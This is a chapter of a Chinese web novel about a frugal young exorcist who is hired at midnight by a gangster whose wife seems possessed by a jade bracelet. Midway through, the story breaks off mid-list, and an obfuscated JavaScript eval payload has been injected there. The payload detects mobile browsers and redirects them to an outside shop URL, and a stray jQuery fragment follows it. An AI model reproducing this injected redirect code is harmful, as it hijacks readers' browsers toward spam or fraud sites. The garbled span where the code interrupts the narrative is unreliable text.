七月半，子时刚过。城北老棉纺厂家属院最里头那栋楼，连野猫都懒得靠近。


    地下室那扇锈得发褐的铁门外，此刻却堵着三个人。为首的是个穿花衬衫、脖戴金链的光头男人，额头青筋暴起，拳头砸在铁门上，砰砰作响，震得门楣上灰尘簌簌往下掉。


    「开门！姓辰的！你他妈给老子开门！」光头男声音嘶哑，眼里满是血丝。


    铁门纹丝不动。只有门上那副手写的春联，在昏暗的声控灯下看得分明：


    左联：能省则省


    右联：该花才花


    横批：物尽其用


    字是拿废电池芯磨出的炭条写的，瘦硬，透着一股穷酸气的固执。


    「力哥，这……这门会不会搞错了？这地方看着像废品收购站……」旁边一个小弟缩了缩脖子，看着门边堆的几捆旧报纸和空瓶子。


    「错个屁！王瞎子亲口说的，整个市里就这姓辰的『镇物师』最邪门，也最他妈便宜！」光头男力哥咬牙，又是一脚踹在门上，「我老婆都快没气了！今天他不出来，老子把这破门拆了！」


    门内，十五平米的地下室。


    空气里飘着淡淡的陈旧檀香味——不是高档香，是地摊论斤卖的碎檀香末，混了点艾草，在一个捡来的罐头盒里闷烧。


    唯一的光源是盏五瓦的节能台灯，灯光昏黄，勉强照亮一张用砖头和旧门板搭成的工作台。


    辰敛就坐在台前。


    他穿着一件洗得发白、领口磨损的蓝布中山装，袖口挽起，露出清瘦但结实的小臂。正低着头，用一把小镊子，从一个摔裂的陶罐碎片里，极小心地夹出一小撮暗红色的、已经板结的泥土，放入一个贴着「待验」标签的玻璃瓶里。动作稳而专注，对门外的咆哮充耳不闻。


    他看起来很年轻，二十五六岁，脸色是常年不见阳光的苍白，眉眼清淡，没什么表情。只有微微抿紧的嘴角，透出一丝与年龄不符的沉静，或者说，是一种被贫穷和繁琐事务磨砺出的漠然。


    工作台一角，放着个铝饭盒，里面是半个冷掉的馒头和一点自家腌的、黑乎乎的萝卜干。那是他的宵夜，还没来得及吃。


    门外的砸门声越来越急，夹杂着污言秽语和另一个小弟用工具撬门的嘎吱声。


    辰敛终于放下了镊子和玻璃瓶。他先看了一眼墙上一个用易拉罐皮做的简易香插，里面的三炷线香燃烧均匀，烟笔直上升。又瞥了一眼工作台下挂着的一个小罗盘——指针轻微颤动，但并非指向门口，而是微微偏向西南。


    不是阴物作祟直接冲门。是人祸，带着强烈的惊惧怨气。


    他这才起身，没去门边，反而走到墙角一个半人高的陶缸旁。缸里养着几条不起眼的青鳞小鱼，水面平静。他看了一眼鱼的状态，心里有了点底。


    「哐当！」一声巨响，铁门的锁舌似乎被撬得变了形。


    辰敛皱了皱眉。这门是他从废品站花了二十块钱拖回来的，锁是后来自己换的旧锁芯，坏了又得花钱。


    他走到门后，声音不高，却清晰地穿透了铁门的喧嚣：「别撬了。锁坏了，赔三十。」


    门外的动静骤然一停。


    光头男力哥喘着粗气，隔着门缝低吼：「辰师傅？是辰敛师傅吗？救我老婆！多少钱都行！」


    「材料自备，茶水恕不招待。」辰敛的声音依旧平淡，没开门的意思，「先说事。简洁点，你还有三分钟，我炉子上的水要开了。」——炉子上确实坐着一个小搪瓷缸，里面是留着明天早上兑冷水洗漱的热水，烧开浪费煤气。


    力哥压着火气，语速飞快：「我老婆！三天前从她外婆的老箱子底翻出个玉镯子，翠绿翠绿的，她喜欢就戴上了！当晚就不对劲！说梦话，哭，笑，白天好好的，一到晚上就像变了个人，力气大得吓人，眼神直勾勾的！今天傍晚……今天傍晚她居然拿头撞墙，嘴里喊着什么『还我身子』！现在浑身发冷，只剩出的气了！去医院，医院查不出毛病！王瞎子说怕是撞了煞，玉镯子不干净，他道行不够，让我立刻来找你！」


    辰敛静静听着，目光落在工作台边缘那本摊开的硬壳笔记本上。他伸手，拿起一支铅笔头。


    「玉的来历？」他问。


    「不……不清楚，好像是她外婆的妈传下来的，有些年头了。」


    「镯子现在在哪？」


    「还、还在她手上！摘不下来！一碰她就像被烫一样尖叫！」


    辰敛在笔记本上快速记了几个词：玉镯、附体、女声索身、夜重昼轻、摘不下。


    「准备东西。」他放下笔，语调没有任何起伏，仿佛在开一张机械维修单，「第一，她外婆的遗物，最好是贴身衣物或常用梳子，一件。第二，三年以上的公鸡，活的，要精神。第三，阴阳瓦一片——就是老屋屋篓上同时见过白日和夜雨的瓦片，半块也行。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004337|194004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    第四，无根水一碗，明日卯时（清晨五至七点），用木碗或陶碗接未落地雨水或晨露。第五，」


    他顿了一下，声音清晰了些：「我的出手费，八百。先付一半定金，现在。东西备齐再付另一半。材料钱、路费另算，实报实销，凭票据。应急额外收两百。同意就从门缝塞四百进来，现金。不同意，请回，门锁赔偿费三十，现结。」


    门外一片死寂。只有力哥粗重的呼吸声。


    小弟低声道：「力哥，这……这也太……」


    「给他！」力哥咬牙打断，掏出一叠钞票，数了数，又添了两张，卷成一卷，从门缝底下塞了进去。


    钱卷儿落在水泥地上，沾了灰。


    辰敛弯腰捡起，展开，就着昏暗的灯光仔细点了一遍。四百二十块。多二十。他没作声，把钱放进中山装内侧一个缝着暗袋的口袋里。


    然后，他从工作台下拿出一个老旧的帆布工具包——那是他从乡下带出来的，磨得发白，但洗得很干净。开始有条不紊地往里装东西：一个用毛巾仔细包裹的扁木盒（里面是几枚颜色暗淡的铜钱和一小包朱砂）、一捆细细的红线、一把小巧的桃木剑、几个空玻璃瓶和自封袋，还有一个巴掌大的罗盘。


    动作不紧不慢，却有效率。


    装好工具，他走到炉子边，关了火。搪瓷缸里的水刚好冒出细密的气泡，还没全开。他满意地点了点头，省了点煤气。


    这才背起帆布包，走到门后，拉开那扇被撬得有些变形的铁门。


    门外，力哥和两个小弟看到辰敛的样子，都愣了一下。过于年轻，过于朴素，甚至有些寒酸，和他们想象中仙风道骨或神秘莫测的「大师」毫不沾边。


    辰敛的目光却越过他们，落在力哥脸上，准确地说，是落在他眉心和脖颈缠绕的、常人看不见的几缕晦暗气息上。


    「带路。」辰敛说，声音依旧没什么温度，「路上，详细说说你老婆外婆家，有没有过年轻女性早夭、横死，或者……失踪的旧事。」


    他走出地下室，反手带上那扇吱呀作响的铁门。「物尽其用」的横批在晃动的灯光下，像一个冰冷的注脚。


    夜风吹过家属院荒芜的花坛，带着寒意。


    辰敛紧了紧洗旧的中山装领口，跟着心急如焚的力哥，步入更深沉的夜色。他的背影单薄，帆布包却显得沉甸甸的。


    那里面，装着他谋生的手艺。